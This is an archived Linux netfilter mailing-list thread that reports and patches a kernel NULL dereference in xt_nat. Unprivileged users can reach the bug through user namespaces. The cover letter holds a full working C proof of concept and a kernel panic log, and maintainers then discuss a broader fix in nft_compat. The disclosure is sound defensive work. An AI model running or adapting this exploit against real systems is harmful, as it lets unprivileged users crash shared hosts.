All of lore.kernel.org
 help / color / mirror / Atom feed
* [PATCH nf 0/1] netfilter: xt_nat: bridge nft_compat rule can trigger NULL-deref
@ 2026-06-13 10:27 Ren Wei
  2026-06-13 10:27 ` [PATCH nf 1/1] netfilter: xt_nat: reject unsupported target families Ren Wei
  0 siblings, 1 reply; 9+ messages in thread
From: Ren Wei @ 2026-06-13 10:27 UTC (permalink / raw)
  To: netfilter-devel
  Cc: pablo, fw, phil, kaber, yuantan098, yifanwucs, tomapufckgml,
	zcliangcn, bird, bronzed_45_vested, n05ec

From: Wyatt Feng <bronzed_45_vested@icloud.com>

Hi Linux kernel maintainers,

We found and validated an issue in net/netfilter/xt_nat.c.
The bug is reachable by an unprivileged user using private namespaces.
The relevant details are provided below.

---- details below ----

Bug details:

The bug is in `net/netfilter/xt_nat.c`, in the rev1/rev2
`SNAT`/`DNAT` xtables targets.

These targets are registered without a family restriction, so
`nft_compat` can resolve them from a bridge-family chain via the
existing `NFPROTO_UNSPEC` xtables fallback. However,
`xt_nat_checkentry()` accepts `NFPROTO_BRIDGE`, while the runtime target
handlers assume IP-family conntrack state is present.

When such a bridge-family compat rule is evaluated on traffic without an
attached conntrack entry, `nf_ct_get()` returns `NULL`.
`xt_snat_target_v1()`/`xt_dnat_target_v1()` and
`xt_snat_target_v2()`/`xt_dnat_target_v2()` then proceed to
`nf_nat_setup_info(ct, ...)`, which dereferences the NULL `ct` and
causes a kernel NULL-dereference and panic.

Reproducer:

gcc -O2 -Wall -Wextra mini_poc.c $(pkg-config --cflags --libs libmnl) -o mini_poc
unshare -Urn ./mini_poc


We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN mini_poc.c------

#define _GNU_SOURCE

#include <arpa/inet.h>
#include <errno.h>
#include <libmnl/libmnl.h>
#include <linux/if_packet.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nf_nat.h>
#include <linux/netfilter/nf_tables.h>
#include <linux/netfilter/nf_tables_compat.h>
#include <linux/netfilter/nfnetlink.h>
#include <linux/netlink.h>
#include <net/ethernet.h>
#include <net/if.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>

#define BUF_SIZE 4096

static void die(const char *what)
{
	perror(what);
	exit(EXIT_FAILURE);
}

static int run_cmd(bool allow_fail, const char *fmt, ...)
{
	char cmd[512];
	va_list ap;
	int ret;

	va_start(ap, fmt);
	vsnprintf(cmd, sizeof(cmd), fmt, ap);
	va_end(ap);

	ret = system(cmd);
	if (ret != 0 && !allow_fail) {
		fprintf(stderr, "command failed: %s\n", cmd);
		exit(EXIT_FAILURE);
	}

	return ret;
}

static void cleanup(void)
{
	run_cmd(true, "nft delete table bridge nat >/dev/null 2>&1");
	run_cmd(true, "ip link del br0 >/dev/null 2>&1");
	run_cmd(true, "ip link del veth0 >/dev/null 2>&1");
	run_cmd(true, "ip link del veth1 >/dev/null 2>&1");
}

static uint32_t nf_tables_genid(void)
{
	struct mnl_socket *nl;
	char buf[MNL_SOCKET_BUFFER_SIZE];
	struct nlmsghdr *nlh;
	struct nfgenmsg *nfg;
	uint32_t genid = 0;
	int ret;

	nl = mnl_socket_open(NETLINK_NETFILTER);
	if (!nl)
		die("mnl_socket_open");

	if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0)
		die("mnl_socket_bind");

	nlh = mnl_nlmsg_put_header(buf);
	nlh->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_GETGEN;
	nlh->nlmsg_flags = NLM_F_REQUEST;
	nlh->nlmsg_seq = 1;

	nfg = mnl_nlmsg_put_extra_header(nlh, sizeof(*nfg));
	nfg->nfgen_family = NFPROTO_UNSPEC;
	nfg->version = NFNETLINK_V0;
	nfg->res_id = htons(0);

	ret = mnl_socket_sendto(nl, nlh, nlh->nlmsg_len);
	if (ret < 0)
		die("mnl_socket_sendto(GETGEN)");

	ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));
	if (ret < 0)
		die("mnl_socket_recvfrom(GETGEN)");

	for (nlh = (struct nlmsghdr *)buf; mnl_nlmsg_ok(nlh, ret);
	     nlh = mnl_nlmsg_next(nlh, &ret)) {
		struct nlattr *attr;

		if (nlh->nlmsg_type != ((NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWGEN))
			continue;

		mnl_attr_for_each(attr, nlh, sizeof(*nfg)) {
			if (mnl_attr_get_type(attr) == NFTA_GEN_ID) {
				genid = ntohl(mnl_attr_get_u32(attr));
				break;
			}
		}
		if (genid)
			break;
	}

	mnl_socket_close(nl);

	if (!genid) {
		errno = EPROTO;
		die("GETGEN missing genid");
	}

	return genid;
}

static void put_nla_u32_be(struct nlmsghdr *nlh, uint16_t type, uint32_t v)
{
	mnl_attr_put_u32(nlh, type, htonl(v));
}

static void put_batch_begin(struct nlmsghdr *nlh, uint32_t seq, uint32_t genid)
{
	struct nfgenmsg *nfg;

	nlh->nlmsg_len = NLMSG_HDRLEN;
	nlh->nlmsg_type = NFNL_MSG_BATCH_BEGIN;
	nlh->nlmsg_flags = NLM_F_REQUEST;
	nlh->nlmsg_seq = seq;
	nlh->nlmsg_pid = 0;

	nfg = mnl_nlmsg_put_extra_header(nlh, sizeof(*nfg));
	nfg->nfgen_family = NFPROTO_UNSPEC;
	nfg->version = NFNETLINK_V0;
	nfg->res_id = htons(NFNL_SUBSYS_NFTABLES);

	put_nla_u32_be(nlh, NFNL_BATCH_GENID, genid);
}

static void put_batch_end(struct nlmsghdr *nlh, uint32_t seq)
{
	struct nfgenmsg *nfg;

	nlh->nlmsg_len = NLMSG_HDRLEN;
	nlh->nlmsg_type = NFNL_MSG_BATCH_END;
	nlh->nlmsg_flags = NLM_F_REQUEST;
	nlh->nlmsg_seq = seq;
	nlh->nlmsg_pid = 0;

	nfg = mnl_nlmsg_put_extra_header(nlh, sizeof(*nfg));
	nfg->nfgen_family = NFPROTO_UNSPEC;
	nfg->version = NFNETLINK_V0;
	nfg->res_id = htons(NFNL_SUBSYS_NFTABLES);
}

static void build_rule_msg(struct nlmsghdr *nlh)
{
	struct nfgenmsg *nfg;
	struct nlattr *exprs;
	struct nlattr *elem;
	struct nlattr *expr_data;
	struct nf_nat_range info = {
		.flags = NF_NAT_RANGE_MAP_IPS,
		.min_addr.ip = htonl(0x01020304),
		.max_addr.ip = htonl(0x01020304),
	};

	nfg = mnl_nlmsg_put_extra_header(nlh, sizeof(*nfg));
	nfg->nfgen_family = NFPROTO_BRIDGE;
	nfg->version = NFNETLINK_V0;
	nfg->res_id = 0;

	mnl_attr_put_strz(nlh, NFTA_RULE_TABLE, "nat");
	mnl_attr_put_strz(nlh, NFTA_RULE_CHAIN, "postrouting");

	exprs = mnl_attr_nest_start(nlh, NFTA_RULE_EXPRESSIONS);
	elem = mnl_attr_nest_start(nlh, NFTA_LIST_ELEM);
	mnl_attr_put_strz(nlh, NFTA_EXPR_NAME, "target");

	expr_data = mnl_attr_nest_start(nlh, NFTA_EXPR_DATA);
	mnl_attr_put_strz(nlh, NFTA_TARGET_NAME, "SNAT");
	put_nla_u32_be(nlh, NFTA_TARGET_REV, 1);
	mnl_attr_put(nlh, NFTA_TARGET_INFO, sizeof(info), &info);
	mnl_attr_nest_end(nlh, expr_data);

	mnl_attr_nest_end(nlh, elem);
	mnl_attr_nest_end(nlh, exprs);
}

static void install_rule(void)
{
	struct mnl_socket *nl;
	char buf[BUF_SIZE];
	char reply[BUF_SIZE];
	struct nlmsghdr *nlh;
	uint32_t genid;
	size_t len;
	int ret;

	memset(buf, 0, sizeof(buf));
	genid = nf_tables_genid();

	nlh = (struct nlmsghdr *)buf;
	put_batch_begin(nlh, 1, genid);
	len = NLMSG_ALIGN(nlh->nlmsg_len);

	nlh = (struct nlmsghdr *)(buf + len);
	nlh->nlmsg_len = NLMSG_HDRLEN;
	nlh->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWRULE;
	nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_APPEND | NLM_F_ACK;
	nlh->nlmsg_seq = 2;
	nlh->nlmsg_pid = 0;
	build_rule_msg(nlh);
	len += NLMSG_ALIGN(nlh->nlmsg_len);

	nlh = (struct nlmsghdr *)(buf + len);
	put_batch_end(nlh, 3);
	len += NLMSG_ALIGN(nlh->nlmsg_len);

	nl = mnl_socket_open(NETLINK_NETFILTER);
	if (!nl)
		die("mnl_socket_open");

	if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0)
		die("mnl_socket_bind");

	ret = mnl_socket_sendto(nl, buf, len);
	if (ret < 0)
		die("mnl_socket_sendto(rule)");

	ret = mnl_socket_recvfrom(nl, reply, sizeof(reply));
	if (ret > 0)
		ret = mnl_cb_run(reply, ret, 2, mnl_socket_get_portid(nl), NULL, NULL);
	if (ret < 0)
		die("mnl_cb_run(rule)");

	mnl_socket_close(nl);
}

static void send_trigger_frames(void)
{
	unsigned char frame[60];
	struct sockaddr_ll sll;
	struct ifreq ifr;
	struct timespec ts = { .tv_sec = 0, .tv_nsec = 20 * 1000 * 1000 };
	int fd;
	int i;

	fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
	if (fd < 0)
		die("socket(AF_PACKET)");

	memset(&ifr, 0, sizeof(ifr));
	snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "veth0p");
	memset(&sll, 0, sizeof(sll));

	if (ioctl(fd, SIOCGIFINDEX, &ifr) < 0)
		die("ioctl(SIOCGIFINDEX)");
	sll.sll_ifindex = ifr.ifr_ifindex;

	if (ioctl(fd, SIOCGIFHWADDR, &ifr) < 0)
		die("ioctl(SIOCGIFHWADDR)");

	memset(frame, 'A', sizeof(frame));
	memset(frame, 0xff, 6);
	memcpy(frame + 6, ifr.ifr_hwaddr.sa_data, ETH_ALEN);
	frame[12] = 0x88;
	frame[13] = 0xb5;

	sll.sll_family = AF_PACKET;
	sll.sll_protocol = htons(ETH_P_ALL);
	sll.sll_halen = ETH_ALEN;
	memset(sll.sll_addr, 0xff, ETH_ALEN);

	for (i = 0; i < 32; i++) {
		if (sendto(fd, frame, sizeof(frame), 0,
			   (struct sockaddr *)&sll, sizeof(sll)) < 0)
			die("sendto");
		nanosleep(&ts, NULL);
	}

	close(fd);
}

int main(void)
{
	atexit(cleanup);

	cleanup();
	run_cmd(false, "nft add table bridge nat");
	run_cmd(false, "nft add chain bridge nat postrouting "
		      "'{ type filter hook postrouting priority 300; policy accept; }'");
	install_rule();

	run_cmd(false, "ip link add br0 type bridge");
	run_cmd(false, "ip link set br0 up");
	run_cmd(false, "ip link add veth0 type veth peer name veth0p");
	run_cmd(false, "ip link add veth1 type veth peer name veth1p");
	run_cmd(false, "ip link set veth0 master br0");
	run_cmd(false, "ip link set veth1 master br0");
	run_cmd(false, "ip link set veth0 up");
	run_cmd(false, "ip link set veth1 up");
	run_cmd(false, "ip link set veth0p up");
	run_cmd(false, "ip link set veth1p up");

	usleep(200000);
	send_trigger_frames();
	sleep(1);
	return 0;
}


------END mini_poc.c--------

----BEGIN crash log----

[  174.769777][   T11] ------------[ cut here ]------------
[  174.770980][   T11] !(ct != NULL && (ctinfo == IP_CT_NEW || ctinfo == IP_CT_RELATED || ctinfo == IP_CT_RELATED_REPLY))
[  174.771001][   T11] WARNING: net/netfilter/xt_nat.c:93 at xt_snat_target_v1+0x115/0x1b0, CPU#0: kworker/0:1/11
[  174.804089][   T11]  nft_do_chain_bridge+0x246/0xfa0
[  174.845653][   T11]  mld_sendpack+0x8f7/0xec0
[  174.847675][   T11]  mld_ifc_work+0x75a/0xc10
[  174.865335][   T11] ---[ end trace 0000000000000000 ]---
[  174.867747][   T11] Oops: general protection fault, probably for non-canonical address 0xdffffc0000000019: 0000 [#1] SMP KASAN NOPTI
[  174.868849][   T11] KASAN: null-ptr-deref in range [0x00000000000000c8-0x00000000000000cf]
[  174.878439][   T11] RIP: 0010:nf_nat_setup_info+0xd1/0x2c30
[  174.903767][   T11]  ? xt_snat_target_v1+0x115/0x1b0
[  174.916037][   T11]  xt_snat_target_v1+0x14b/0x1b0
[  174.924669][   T11]  nft_target_eval_bridge+0x1c1/0x320
[  174.931246][   T11]  nft_do_chain+0x2e5/0x1990
[  174.998163][   T11]  ip6_finish_output2+0xfd4/0x1ce0
[  175.004839][   T11]  ? NF_HOOK.constprop.0+0x277/0x5a0
[  175.014886][   T11]  mld_sendpack+0x8f7/0xec0
[  175.018164][   T11]  mld_ifc_work+0x75a/0xc10
[  175.042339][   T11] RIP: 0010:nf_nat_setup_info+0xd1/0x2c30
[  175.058662][   T11] Kernel panic - not syncing: Fatal exception in interrupt


-----END crash log-----

Best regards,
Wyatt Feng


Wyatt Feng (1):
  netfilter: xt_nat: reject unsupported target families

 net/netfilter/xt_nat.c | 9 +++++++++
 1 file changed, 9 insertions(+)

-- 
2.47.3


^ permalink raw reply	[flat|nested] 9+ messages in thread

* [PATCH nf 1/1] netfilter: xt_nat: reject unsupported target families
  2026-06-13 10:27 [PATCH nf 0/1] netfilter: xt_nat: bridge nft_compat rule can trigger NULL-deref Ren Wei
@ 2026-06-13 10:27 ` Ren Wei
  2026-06-13 21:31   ` Florian Westphal
  0 siblings, 1 reply; 9+ messages in thread
From: Ren Wei @ 2026-06-13 10:27 UTC (permalink / raw)
  To: netfilter-devel
  Cc: pablo, fw, phil, kaber, yuantan098, yifanwucs, tomapufckgml,
	zcliangcn, bird, bronzed_45_vested, n05ec

From: Wyatt Feng <bronzed_45_vested@icloud.com>

xt_nat SNAT and DNAT target handlers assume IP-family conntrack state
is present and can dereference a NULL pointer when instantiated from an
unsupported family through nft_compat. A bridge-family compat rule can
therefore trigger a NULL-dereference in nf_nat_setup_info().

Reject non-IP families in xt_nat_checkentry() so unsupported targets
cannot be installed. Keep NFPROTO_INET allowed for valid inet NAT
compat users and leave the runtime fast path unchanged.

Fixes: c7232c9979cb ("netfilter: add protocol independent NAT core")
Cc: stable@vger.kernel.org
Reported-by: Yuan Tan <yuantan098@gmail.com>
Reported-by: Yifan Wu <yifanwucs@gmail.com>
Reported-by: Juefei Pu <tomapufckgml@gmail.com>
Reported-by: Zhengchuan Liang <zcliangcn@gmail.com>
Reported-by: Xin Liu <bird@lzu.edu.cn>
Assisted-by: Codex:GPT-5.4
Signed-off-by: Wyatt Feng <bronzed_45_vested@icloud.com>
Signed-off-by: Ren Wei <n05ec@lzu.edu.cn>
---
 net/netfilter/xt_nat.c | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/net/netfilter/xt_nat.c b/net/netfilter/xt_nat.c
index b4f7bbc3f3ca..51c7f7ce88d9 100644
--- a/net/netfilter/xt_nat.c
+++ b/net/netfilter/xt_nat.c
@@ -26,6 +26,15 @@ static int xt_nat_checkentry_v0(const struct xt_tgchk_param *par)
 
 static int xt_nat_checkentry(const struct xt_tgchk_param *par)
 {
+	switch (par->family) {
+	case NFPROTO_IPV4:
+	case NFPROTO_IPV6:
+	case NFPROTO_INET:
+		break;
+	default:
+		return -EINVAL;
+	}
+
 	return nf_ct_netns_get(par->net, par->family);
 }
 
-- 
2.47.3


^ permalink raw reply related	[flat|nested] 9+ messages in thread

* Re: [PATCH nf 1/1] netfilter: xt_nat: reject unsupported target families
  2026-06-13 10:27 ` [PATCH nf 1/1] netfilter: xt_nat: reject unsupported target families Ren Wei
@ 2026-06-13 21:31   ` Florian Westphal
  2026-06-13 22:00     ` Florian Westphal
  0 siblings, 1 reply; 9+ messages in thread
From: Florian Westphal @ 2026-06-13 21:31 UTC (permalink / raw)
  To: Ren Wei
  Cc: netfilter-devel, pablo, phil, yuantan098, yifanwucs, tomapufckgml,
	zcliangcn, bird, bronzed_45_vested

Ren Wei <n05ec@lzu.edu.cn> wrote:
> xt_nat SNAT and DNAT target handlers assume IP-family conntrack state
> is present and can dereference a NULL pointer when instantiated from an
> unsupported family through nft_compat. A bridge-family compat rule can
> therefore trigger a NULL-dereference in nf_nat_setup_info().

Are you sure this is related to nft_compat?  What prevents attaching
-j D|SNAT to classic ebtables?

> Reject non-IP families in xt_nat_checkentry() so unsupported targets
> cannot be installed. Keep NFPROTO_INET allowed for valid inet NAT
> compat users and leave the runtime fast path unchanged.

Not so sure, I don't think there is harm in allowing NFPROTO_INET but
such users should not exist.

Patch is fine. There are already many different targets here,
I don't think we should do a NFPROTO_IPV4 / IPV6 split in this case.

(redirect & masquarade are ok, they register via IPV4/IP6 only).

^ permalink raw reply	[flat|nested] 9+ messages in thread

* Re: [PATCH nf 1/1] netfilter: xt_nat: reject unsupported target families
  2026-06-13 21:31   ` Florian Westphal
@ 2026-06-13 22:00     ` Florian Westphal
  2026-06-13 22:15       ` Pablo Neira Ayuso
  0 siblings, 1 reply; 9+ messages in thread
From: Florian Westphal @ 2026-06-13 22:00 UTC (permalink / raw)
  To: Ren Wei
  Cc: netfilter-devel, pablo, phil, yuantan098, yifanwucs, tomapufckgml,
	zcliangcn, bird, bronzed_45_vested

Florian Westphal <fw@strlen.de> wrote:
> Ren Wei <n05ec@lzu.edu.cn> wrote:
> > xt_nat SNAT and DNAT target handlers assume IP-family conntrack state
> > is present and can dereference a NULL pointer when instantiated from an
> > unsupported family through nft_compat. A bridge-family compat rule can
> > therefore trigger a NULL-dereference in nf_nat_setup_info().
> 
> Are you sure this is related to nft_compat?  What prevents attaching
> -j D|SNAT to classic ebtables?
> 
> > Reject non-IP families in xt_nat_checkentry() so unsupported targets
> > cannot be installed. Keep NFPROTO_INET allowed for valid inet NAT
> > compat users and leave the runtime fast path unchanged.
> 
> Not so sure, I don't think there is harm in allowing NFPROTO_INET but
> such users should not exist.
> 
> Patch is fine. There are already many different targets here,
> I don't think we should do a NFPROTO_IPV4 / IPV6 split in this case.

I take that back.  This problem goes beyond xt_nat.c;  see
11ff7288beb2 ("netfilter: ebtables: reject non-bridge targets")

Can you make a patch like this one for nft_compat?
We can only use NFPROTO_BRIDGE targets, never UNSPEC, for NF_BRIDGE
caller.

^ permalink raw reply	[flat|nested] 9+ messages in thread

* Re: [PATCH nf 1/1] netfilter: xt_nat: reject unsupported target families
  2026-06-13 22:00     ` Florian Westphal
@ 2026-06-13 22:15       ` Pablo Neira Ayuso
  2026-06-13 22:25         ` Florian Westphal
  0 siblings, 1 reply; 9+ messages in thread
From: Pablo Neira Ayuso @ 2026-06-13 22:15 UTC (permalink / raw)
  To: Florian Westphal
  Cc: Ren Wei, netfilter-devel, phil, yuantan098, yifanwucs,
	tomapufckgml, zcliangcn, bird, bronzed_45_vested

On Sun, Jun 14, 2026 at 12:00:56AM +0200, Florian Westphal wrote:
> Florian Westphal <fw@strlen.de> wrote:
> > Ren Wei <n05ec@lzu.edu.cn> wrote:
> > > xt_nat SNAT and DNAT target handlers assume IP-family conntrack state
> > > is present and can dereference a NULL pointer when instantiated from an
> > > unsupported family through nft_compat. A bridge-family compat rule can
> > > therefore trigger a NULL-dereference in nf_nat_setup_info().
> > 
> > Are you sure this is related to nft_compat?  What prevents attaching
> > -j D|SNAT to classic ebtables?
> > 
> > > Reject non-IP families in xt_nat_checkentry() so unsupported targets
> > > cannot be installed. Keep NFPROTO_INET allowed for valid inet NAT
> > > compat users and leave the runtime fast path unchanged.
> > 
> > Not so sure, I don't think there is harm in allowing NFPROTO_INET but
> > such users should not exist.
> > 
> > Patch is fine. There are already many different targets here,
> > I don't think we should do a NFPROTO_IPV4 / IPV6 split in this case.
> 
> I take that back.  This problem goes beyond xt_nat.c;  see
> 11ff7288beb2 ("netfilter: ebtables: reject non-bridge targets")
> 
> Can you make a patch like this one for nft_compat?
> We can only use NFPROTO_BRIDGE targets, never UNSPEC, for NF_BRIDGE
> caller.

Maybe it is simply this patch:

commit b6fe26f86a1649f84e057f3f15605b08eda15497
Author: Pablo Neira Ayuso <pablo@netfilter.org>
Date:   Wed Apr 15 12:21:00 2026 +0200
 
    netfilter: xtables: restrict several matches to inet family

which was missing xt_nat.c?

^ permalink raw reply	[flat|nested] 9+ messages in thread

* Re: [PATCH nf 1/1] netfilter: xt_nat: reject unsupported target families
  2026-06-13 22:15       ` Pablo Neira Ayuso
@ 2026-06-13 22:25         ` Florian Westphal
  2026-06-14  9:43           ` Pablo Neira Ayuso
  0 siblings, 1 reply; 9+ messages in thread
From: Florian Westphal @ 2026-06-13 22:25 UTC (permalink / raw)
  To: Pablo Neira Ayuso
  Cc: Ren Wei, netfilter-devel, phil, yuantan098, yifanwucs,
	tomapufckgml, zcliangcn, bird, bronzed_45_vested

Pablo Neira Ayuso <pablo@netfilter.org> wrote:
> > We can only use NFPROTO_BRIDGE targets, never UNSPEC, for NF_BRIDGE
> > caller.
> 
> Maybe it is simply this patch:
> 
> commit b6fe26f86a1649f84e057f3f15605b08eda15497
> Author: Pablo Neira Ayuso <pablo@netfilter.org>
> Date:   Wed Apr 15 12:21:00 2026 +0200
>  
>     netfilter: xtables: restrict several matches to inet family
> 
> which was missing xt_nat.c?

No, ebtables targets are incompatible, they return different
values compared to ip/ip6tables.

We need a nft_target_bridge_validate (or alternative method) that
rejects all targets that are not NFPROTO_BRIDGE.

This is wnat ebtables.c already does which is why this poc would
not work for classic xtables.

That said, this patch (the xt_nat.c patch) might be a good idea
anyway, but I don't think its enough.

^ permalink raw reply	[flat|nested] 9+ messages in thread

* Re: [PATCH nf 1/1] netfilter: xt_nat: reject unsupported target families
  2026-06-13 22:25         ` Florian Westphal
@ 2026-06-14  9:43           ` Pablo Neira Ayuso
  2026-06-14 11:11             ` Pablo Neira Ayuso
  2026-06-14 11:16             ` Florian Westphal
  0 siblings, 2 replies; 9+ messages in thread
From: Pablo Neira Ayuso @ 2026-06-14  9:43 UTC (permalink / raw)
  To: Florian Westphal
  Cc: Ren Wei, netfilter-devel, phil, yuantan098, yifanwucs,
	tomapufckgml, zcliangcn, bird, bronzed_45_vested

On Sun, Jun 14, 2026 at 12:25:47AM +0200, Florian Westphal wrote:
> Pablo Neira Ayuso <pablo@netfilter.org> wrote:
> > > We can only use NFPROTO_BRIDGE targets, never UNSPEC, for NF_BRIDGE
> > > caller.
> > 
> > Maybe it is simply this patch:
> > 
> > commit b6fe26f86a1649f84e057f3f15605b08eda15497
> > Author: Pablo Neira Ayuso <pablo@netfilter.org>
> > Date:   Wed Apr 15 12:21:00 2026 +0200
> >  
> >     netfilter: xtables: restrict several matches to inet family
> > 
> > which was missing xt_nat.c?
> 
> No, ebtables targets are incompatible, they return different
> values compared to ip/ip6tables.
> 
> We need a nft_target_bridge_validate (or alternative method) that
> rejects all targets that are not NFPROTO_BRIDGE.

Yes, but there are still around 33 match/targets extensions in the
tree that use NFPROTO_UNSPEC as a .family.

And some of these NFPROTO_UNSPEC are supported by ebtables, eg.
xt_string (match), see ebt_string.c in ebtables userspace.

I think NFPROTO_UNSPEC should be replaced by explicit families that
are supported.

> This is wnat ebtables.c already does which is why this poc would
> not work for classic xtables.

Do you refer to targets specifically, correct?

        /* Reject UNSPEC, xtables verdicts/return values are incompatible */
        if (target->family != NFPROTO_BRIDGE) {
                module_put(target->me);
                ret = -ENOENT;
                goto cleanup_watchers;
        }

> That said, this patch (the xt_nat.c patch) might be a good idea
> anyway, but I don't think its enough.

I would probably replace all of the remaining NFPROTO_UNSPEC by
explicit families.

As for xt_nat_target_reg, it does not set NFPROTO_UNSPEC explicitly,
but given that target is allocated in the BSS, it results in an
implicit NFPROTO_UNSPEC, which is the reason why it when uncaught by
b6fe26f86a1649f84e057f3f15605b08eda15497.

^ permalink raw reply	[flat|nested] 9+ messages in thread

* Re: [PATCH nf 1/1] netfilter: xt_nat: reject unsupported target families
  2026-06-14  9:43           ` Pablo Neira Ayuso
@ 2026-06-14 11:11             ` Pablo Neira Ayuso
  2026-06-14 11:16             ` Florian Westphal
  1 sibling, 0 replies; 9+ messages in thread
From: Pablo Neira Ayuso @ 2026-06-14 11:11 UTC (permalink / raw)
  To: Florian Westphal
  Cc: Ren Wei, netfilter-devel, phil, yuantan098, yifanwucs,
	tomapufckgml, zcliangcn, bird, bronzed_45_vested

On Sun, Jun 14, 2026 at 11:44:01AM +0200, Pablo Neira Ayuso wrote:
> On Sun, Jun 14, 2026 at 12:25:47AM +0200, Florian Westphal wrote:
> > Pablo Neira Ayuso <pablo@netfilter.org> wrote:
> > > > We can only use NFPROTO_BRIDGE targets, never UNSPEC, for NF_BRIDGE
> > > > caller.
> > > 
> > > Maybe it is simply this patch:
> > > 
> > > commit b6fe26f86a1649f84e057f3f15605b08eda15497
> > > Author: Pablo Neira Ayuso <pablo@netfilter.org>
> > > Date:   Wed Apr 15 12:21:00 2026 +0200
> > >  
> > >     netfilter: xtables: restrict several matches to inet family
> > > 
> > > which was missing xt_nat.c?
> > 
> > No, ebtables targets are incompatible, they return different
> > values compared to ip/ip6tables.
> > 
> > We need a nft_target_bridge_validate (or alternative method) that
> > rejects all targets that are not NFPROTO_BRIDGE.
> 
> Yes, but there are still around 33 match/targets extensions in the
> tree that use NFPROTO_UNSPEC as a .family.
> 
> And some of these NFPROTO_UNSPEC are supported by ebtables, eg.
> xt_string (match), see ebt_string.c in ebtables userspace.
> 
> I think NFPROTO_UNSPEC should be replaced by explicit families that
> are supported.
> 
> > This is wnat ebtables.c already does which is why this poc would
> > not work for classic xtables.
> 
> Do you refer to targets specifically, correct?
> 
>         /* Reject UNSPEC, xtables verdicts/return values are incompatible */
>         if (target->family != NFPROTO_BRIDGE) {
>                 module_put(target->me);
>                 ret = -ENOENT;
>                 goto cleanup_watchers;
>         }
> 
> > That said, this patch (the xt_nat.c patch) might be a good idea
> > anyway, but I don't think its enough.
> 
> I would probably replace all of the remaining NFPROTO_UNSPEC by
> explicit families.
> 
> As for xt_nat_target_reg, it does not set NFPROTO_UNSPEC explicitly,
> but given that target is allocated in the BSS, it results in an
> implicit NFPROTO_UNSPEC, which is the reason why it when uncaught by
> b6fe26f86a1649f84e057f3f15605b08eda15497.

Maybe also the fact that such patch probably only audited matches.

^ permalink raw reply	[flat|nested] 9+ messages in thread

* Re: [PATCH nf 1/1] netfilter: xt_nat: reject unsupported target families
  2026-06-14  9:43           ` Pablo Neira Ayuso
  2026-06-14 11:11             ` Pablo Neira Ayuso
@ 2026-06-14 11:16             ` Florian Westphal
  1 sibling, 0 replies; 9+ messages in thread
From: Florian Westphal @ 2026-06-14 11:16 UTC (permalink / raw)
  To: Pablo Neira Ayuso
  Cc: Ren Wei, netfilter-devel, phil, yuantan098, yifanwucs,
	tomapufckgml, zcliangcn, bird, bronzed_45_vested

Pablo Neira Ayuso <pablo@netfilter.org> wrote:
> Yes, but there are still around 33 match/targets extensions in the
> tree that use NFPROTO_UNSPEC as a .family.
>
> And some of these NFPROTO_UNSPEC are supported by ebtables, eg.
> xt_string (match), see ebt_string.c in ebtables userspace.

match != target.

> I think NFPROTO_UNSPEC should be replaced by explicit families that
> are supported.

ebtables CANNOT support NFPROTO_UNSPEC targets.  Thats all I said.

> > This is wnat ebtables.c already does which is why this poc would
> > not work for classic xtables.
> 
> Do you refer to targets specifically, correct?
> 
>         /* Reject UNSPEC, xtables verdicts/return values are incompatible */
>         if (target->family != NFPROTO_BRIDGE) {
>                 module_put(target->me);
>                 ret = -ENOENT;
>                 goto cleanup_watchers;
>         }

yes.

> > That said, this patch (the xt_nat.c patch) might be a good idea
> > anyway, but I don't think its enough.
> 
> I would probably replace all of the remaining NFPROTO_UNSPEC by
> explicit families.

Are you talking about matches, targets or both?  What about nftables?
I worry we see lots of redundancy when we have to expand UNSPEC to all
of ARP/BRIDGE/IPV4/IPV6/INET/NETDEV.

> As for xt_nat_target_reg, it does not set NFPROTO_UNSPEC explicitly,
> but given that target is allocated in the BSS, it results in an
> implicit NFPROTO_UNSPEC, which is the reason why it when uncaught by
> b6fe26f86a1649f84e057f3f15605b08eda15497.

Yes, its implicitly UNSPEC.

^ permalink raw reply	[flat|nested] 9+ messages in thread

end of thread, other threads:[~2026-06-14 11:16 UTC | newest]

Thread overview: 9+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-06-13 10:27 [PATCH nf 0/1] netfilter: xt_nat: bridge nft_compat rule can trigger NULL-deref Ren Wei
2026-06-13 10:27 ` [PATCH nf 1/1] netfilter: xt_nat: reject unsupported target families Ren Wei
2026-06-13 21:31   ` Florian Westphal
2026-06-13 22:00     ` Florian Westphal
2026-06-13 22:15       ` Pablo Neira Ayuso
2026-06-13 22:25         ` Florian Westphal
2026-06-14  9:43           ` Pablo Neira Ayuso
2026-06-14 11:11             ` Pablo Neira Ayuso
2026-06-14 11:16             ` Florian Westphal

This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.